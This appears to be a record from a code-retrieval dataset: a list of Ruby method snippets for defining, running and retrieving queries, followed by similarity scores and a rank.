"def saved_query_result(project_id, saved_query_name)\n resource \"projects/#{project_id}/saved_queries/#{saved_query_name}/result\"\n end",
"def query(q)\n @conn.query({url_path: \"#{database}/_find\", opts: q, method: :post})\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def query\n get_query_object\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def query( query_string )\n\n # Perform the query\n Operations::Query.new(@rforce_binding, query_string).run()\n\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def queries(project_id)\n resource \"projects/#{project_id}/queries\"\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query(num)\n if si = section_index(\"query#{num}\")\n self[si]\n else\n nil\n end\n end",
"def query(query)\n url_chunk, entity_set = if query.is_a?(Frodo::Query)\n [query.to_s, query.entity_set.name]\n else\n [query]\n end\n\n body = api_get(url_chunk).body\n\n # if manual query as a string we detect the set on the response\n entity_set = body['@odata.context'].split('#')[-1] if entity_set.nil?\n build_entity(entity_set, body)\n end",
"def query\n @options[:query].presence\n end",
"def drop_query_definition(query_name, opts = {})\n drop_query_definition_with_http_info(query_name, opts)\n return nil\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def query\n @operation = :query\n self\n end",
"def query(query_string)\n restforce_client.query(query_string)\n end",
"def drop_query_definition_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.drop_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#drop_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def retrieve_query\r\n if !params[:query_id].blank?\r\n cond = \"project_id IS NULL\"\r\n cond << \" OR project_id = #{@project.id}\" if @project\r\n @query = Query.find(params[:query_id], :conditions => cond)\r\n @query.project = @project\r\n session[:query] = {:id => @query.id, :project_id => @query.project_id}\r\n else\r\n if params[:set_filter] || session[:query].nil? || session[:query][:project_id] != (@project ? @project.id : nil)\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\")\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = {:project_id => @query.project_id, :filters => @query.filters}\r\n else\r\n @query = Query.find_by_id(session[:query][:id]) if session[:query][:id]\r\n @query ||= Query.new(:name => \"_\", :project => @project, :filters => session[:query][:filters])\r\n @query.project = @project\r\n end\r\n end\r\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def query\n # support names, portorigin, pkgname and portname\n (inst = self.class.instances([name]).last) ? inst.properties : nil\n end",
"def keyspace(name)\n Query.new.keyspace(name)\n end",
"def query(env_ptr, name)\n self[name] ? 1 : 0\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def query\n\t\tQuery.new(\"true\")\n\tend",
"def query(q=\"\")\n\t\tif @connection != nil\n\t\t\t@data = MonetDBData.new(@connection)\n\t\t\t@data.execute(q)\n\t\tend\n\t\treturn @data\n\tend",
"def query(q=\"\")\n if @connection != nil \n @data = MonetDBData.new(@connection)\n @data.execute(q)\n end\n return @data\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def query\n @query ||= Waves::Request::Query.new( \n Waves::Request::Utilities.destructure( request.query ) )\n end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def get_by_name(name, query={})\n\n # 空またnilの場合listと同じURLにリクエストしてしまい意図しないレスポンスが返ってくる\n if name.nil? || name.empty?\n raise Yao::InvalidRequest.new(\"Invalid request with empty name or nil\")\n end\n\n begin\n GET(create_url(name), query)\n rescue Yao::ItemNotFound, Yao::NotFound => e\n item = find_by_name(name).select { |r| r.name == name }\n if item.size > 1\n raise Yao::TooManyItemFonud.new(\"More than one resource exists with the name '#{name}'\")\n elsif item.size.zero?\n raise e\n end\n GET(create_url(item.first.id), query)\n end\n end",
"def check_query\n self.query\n end",
"def queryResource(id, query) \n XMLDB::Base::ResourceSet.getInstance(@obj._invoke('queryResource', 'Ljava.lang.String;Ljava.lang.String', id, query))\n end",
"def command_name\n return FIND if filter[:$query]\n filter.keys.first\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def query_def; @hit.mrna.definition; end",
"def get(name)\n @all.find { |e| e.name == name.to_s || e.name == \"#{name}_engine\" }\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def of(query)\n query\n end",
"def query_def; @seq1.definition; end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
"def query\n end",
"def query_request\n\t\t\tdb = PhoneDNS::DB.new\n\t\t\treturn db.find(@domain, @locale)\n\t\tend",
"def query input\n response = @http.get request_url(input).request_uri\n document = Nokogiri::XML response.body\n\n if document.root.name == \"queryresult\"\n Response.new document\n else\n raise \"Invalid response\"\n end\n end",
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query_def; (x = @hits.first) ? x.query_def : nil; end",
"def retrieve_query\n session_key = :resource_booking_query\n if params[:set_filter] || session[session_key].nil? || session[session_key][:project_id] != (@project ? @project.id : nil)\n # Give it a name, required to be valid\n @query = ResourceBookingQuery.new(name: '_', project: @project)\n @query.build_from_params(params)\n session[session_key] = { project_id: @query.project_id, filters: @query.filters, options: @query.options }\n else\n # retrieve from session\n session[session_key][:options][:date_from] = params[:date_from].to_date if params[:date_from]\n @query = ResourceBookingQuery.new(name: '_', filters: session[session_key][:filters], options: session[session_key][:options])\n @query.project = @project\n end\n @query\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def get_query_group(project_id, query_group_id)\n get \"projects/#{project_id}/querygroups/#{query_group_id}\"\n end",
"def select_db(name)\n #This is a stub, used for indexing\n end",
"def spql(query)\n SPQLQuery.new(self, query)\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def event(query_name)\n @client.call(:event, query_name)\n end",
"def create_query(project_id, opts = {})\n post \"projects/#{project_id}/queries\", opts\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def query\n self\n end",
"def query\n self\n end"
] |
[
"0.66628575",
"0.65281355",
"0.6429702",
"0.63281083",
"0.63104486",
"0.61567765",
"0.61082846",
"0.6092768",
"0.60154104",
"0.5922006",
"0.5921313",
"0.58581585",
"0.5837307",
"0.58369493",
"0.58274347",
"0.58019215",
"0.57840526",
"0.5724895",
"0.571168",
"0.5662145",
"0.5651083",
"0.563113",
"0.56242836",
"0.5602328",
"0.56018406",
"0.55887663",
"0.5583664",
"0.5579495",
"0.5567991",
"0.55522364",
"0.5550034",
"0.55379635",
"0.5535192",
"0.55290246",
"0.5455997",
"0.54432976",
"0.5438294",
"0.54366225",
"0.5420013",
"0.5420013",
"0.5420013",
"0.5419369",
"0.54028034",
"0.5375151",
"0.536737",
"0.53601736",
"0.5341856",
"0.5341856",
"0.5341856",
"0.53320795",
"0.5326474",
"0.5321324",
"0.53111696",
"0.53038263",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.5290635",
"0.52900225",
"0.5283393",
"0.5272413",
"0.52626836",
"0.5249051",
"0.52352226",
"0.5234733",
"0.523257",
"0.52296793",
"0.5226287",
"0.52253383",
"0.5213268",
"0.5213098",
"0.5212967",
"0.52126986",
"0.5193782",
"0.51877946",
"0.51755303",
"0.5161636",
"0.5149709",
"0.51482093",
"0.5139016",
"0.51287603",
"0.51275176",
"0.5124015",
"0.51235336",
"0.51192254",
"0.51175135",
"0.51175135",
"0.51175135",
"0.51101",
"0.5106052",
"0.5105181",
"0.5105022",
"0.5104079",
"0.5101888",
"0.50960374",
"0.5092827",
"0.5087389",
"0.5087389"
] |
0.5749111
|
17
|
Retrieves existing query definition from the system with given queryName
|
def get_query_with_http_info(query_name, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: CustomQueriesBPMApi.get_query ..."
end
# verify the required parameter 'query_name' is set
if @api_client.config.client_side_validation && query_name.nil?
fail ArgumentError, "Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query"
end
# resource path
local_var_path = "/server/queries/definitions/{queryName}".sub('{' + 'queryName' + '}', query_name.to_s)
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = []
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'QueryDefinition')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: CustomQueriesBPMApi#get_query\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def get_query(project_id, query_id)\n get \"projects/#{project_id}/queries/#{query_id}\"\n end",
"def query_def; query.name; end",
"def query(query_definition)\n return\n end",
"def create_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def find_query(querys,name_q)\n # newq = querys.find{|q| ( q.find{|h| (h.subject_id)})}\n new_q=nil\n\n if !querys.empty?\n new_q=querys.find{|q| (q.query_id==name_q)}\n end\n\n return new_q\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def get_query(query_name, opts = {})\n data, _status_code, _headers = get_query_with_http_info(query_name, opts)\n return data\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query_def; mrna.definition; end",
"def definition_by_name(name)\n definitions_repository.get(name)\n end",
"def query(query)\n XMLDB::Base::ResourceSet.getInstance(@obj._invoke('query', 'Ljava.lang.String;', query))\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query_spec\n ns_definition(:equity_quote, :query_spec, 1)\n end",
"def saved_query_result(project_id, saved_query_name)\n resource \"projects/#{project_id}/saved_queries/#{saved_query_name}/result\"\n end",
"def query(q)\n @conn.query({url_path: \"#{database}/_find\", opts: q, method: :post})\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def query\n get_query_object\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def query( query_string )\n\n # Perform the query\n Operations::Query.new(@rforce_binding, query_string).run()\n\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def queries(project_id)\n resource \"projects/#{project_id}/queries\"\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query(num)\n if si = section_index(\"query#{num}\")\n self[si]\n else\n nil\n end\n end",
"def query(query)\n url_chunk, entity_set = if query.is_a?(Frodo::Query)\n [query.to_s, query.entity_set.name]\n else\n [query]\n end\n\n body = api_get(url_chunk).body\n\n # if manual query as a string we detect the set on the response\n entity_set = body['@odata.context'].split('#')[-1] if entity_set.nil?\n build_entity(entity_set, body)\n end",
"def query\n @options[:query].presence\n end",
"def drop_query_definition(query_name, opts = {})\n drop_query_definition_with_http_info(query_name, opts)\n return nil\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def query\n return @query\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def query\n @operation = :query\n self\n end",
"def query(query_string)\n restforce_client.query(query_string)\n end",
"def drop_query_definition_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.drop_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.drop_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#drop_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def retrieve_query\r\n if !params[:query_id].blank?\r\n cond = \"project_id IS NULL\"\r\n cond << \" OR project_id = #{@project.id}\" if @project\r\n @query = Query.find(params[:query_id], :conditions => cond)\r\n @query.project = @project\r\n session[:query] = {:id => @query.id, :project_id => @query.project_id}\r\n else\r\n if params[:set_filter] || session[:query].nil? || session[:query][:project_id] != (@project ? @project.id : nil)\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\")\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = {:project_id => @query.project_id, :filters => @query.filters}\r\n else\r\n @query = Query.find_by_id(session[:query][:id]) if session[:query][:id]\r\n @query ||= Query.new(:name => \"_\", :project => @project, :filters => session[:query][:filters])\r\n @query.project = @project\r\n end\r\n end\r\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def query\n # support names, portorigin, pkgname and portname\n (inst = self.class.instances([name]).last) ? inst.properties : nil\n end",
"def keyspace(name)\n Query.new.keyspace(name)\n end",
"def query(env_ptr, name)\n self[name] ? 1 : 0\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def query\n\t\tQuery.new(\"true\")\n\tend",
"def query(q=\"\")\n\t\tif @connection != nil\n\t\t\t@data = MonetDBData.new(@connection)\n\t\t\t@data.execute(q)\n\t\tend\n\t\treturn @data\n\tend",
"def query(q=\"\")\n if @connection != nil \n @data = MonetDBData.new(@connection)\n @data.execute(q)\n end\n return @data\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def query\n @query ||= Waves::Request::Query.new( \n Waves::Request::Utilities.destructure( request.query ) )\n end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def get_by_name(name, query={})\n\n # 空またnilの場合listと同じURLにリクエストしてしまい意図しないレスポンスが返ってくる\n if name.nil? || name.empty?\n raise Yao::InvalidRequest.new(\"Invalid request with empty name or nil\")\n end\n\n begin\n GET(create_url(name), query)\n rescue Yao::ItemNotFound, Yao::NotFound => e\n item = find_by_name(name).select { |r| r.name == name }\n if item.size > 1\n raise Yao::TooManyItemFonud.new(\"More than one resource exists with the name '#{name}'\")\n elsif item.size.zero?\n raise e\n end\n GET(create_url(item.first.id), query)\n end\n end",
"def check_query\n self.query\n end",
"def queryResource(id, query) \n XMLDB::Base::ResourceSet.getInstance(@obj._invoke('queryResource', 'Ljava.lang.String;Ljava.lang.String', id, query))\n end",
"def command_name\n return FIND if filter[:$query]\n filter.keys.first\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def run_query(q)\n return sky_table.query(q)\n end",
"def query_def; @hit.mrna.definition; end",
"def get(name)\n @all.find { |e| e.name == name.to_s || e.name == \"#{name}_engine\" }\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def of(query)\n query\n end",
"def query_def; @seq1.definition; end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
"def query\n end",
"def query_request\n\t\t\tdb = PhoneDNS::DB.new\n\t\t\treturn db.find(@domain, @locale)\n\t\tend",
"def query input\n response = @http.get request_url(input).request_uri\n document = Nokogiri::XML response.body\n\n if document.root.name == \"queryresult\"\n Response.new document\n else\n raise \"Invalid response\"\n end\n end",
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def query(_tql)\n raise NotImplementedError.new\n end",
"def query_def; (x = @hits.first) ? x.query_def : nil; end",
"def retrieve_query\n session_key = :resource_booking_query\n if params[:set_filter] || session[session_key].nil? || session[session_key][:project_id] != (@project ? @project.id : nil)\n # Give it a name, required to be valid\n @query = ResourceBookingQuery.new(name: '_', project: @project)\n @query.build_from_params(params)\n session[session_key] = { project_id: @query.project_id, filters: @query.filters, options: @query.options }\n else\n # retrieve from session\n session[session_key][:options][:date_from] = params[:date_from].to_date if params[:date_from]\n @query = ResourceBookingQuery.new(name: '_', filters: session[session_key][:filters], options: session[session_key][:options])\n @query.project = @project\n end\n @query\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def get_query_group(project_id, query_group_id)\n get \"projects/#{project_id}/querygroups/#{query_group_id}\"\n end",
"def select_db(name)\n #This is a stub, used for indexing\n end",
"def spql(query)\n SPQLQuery.new(self, query)\n end",
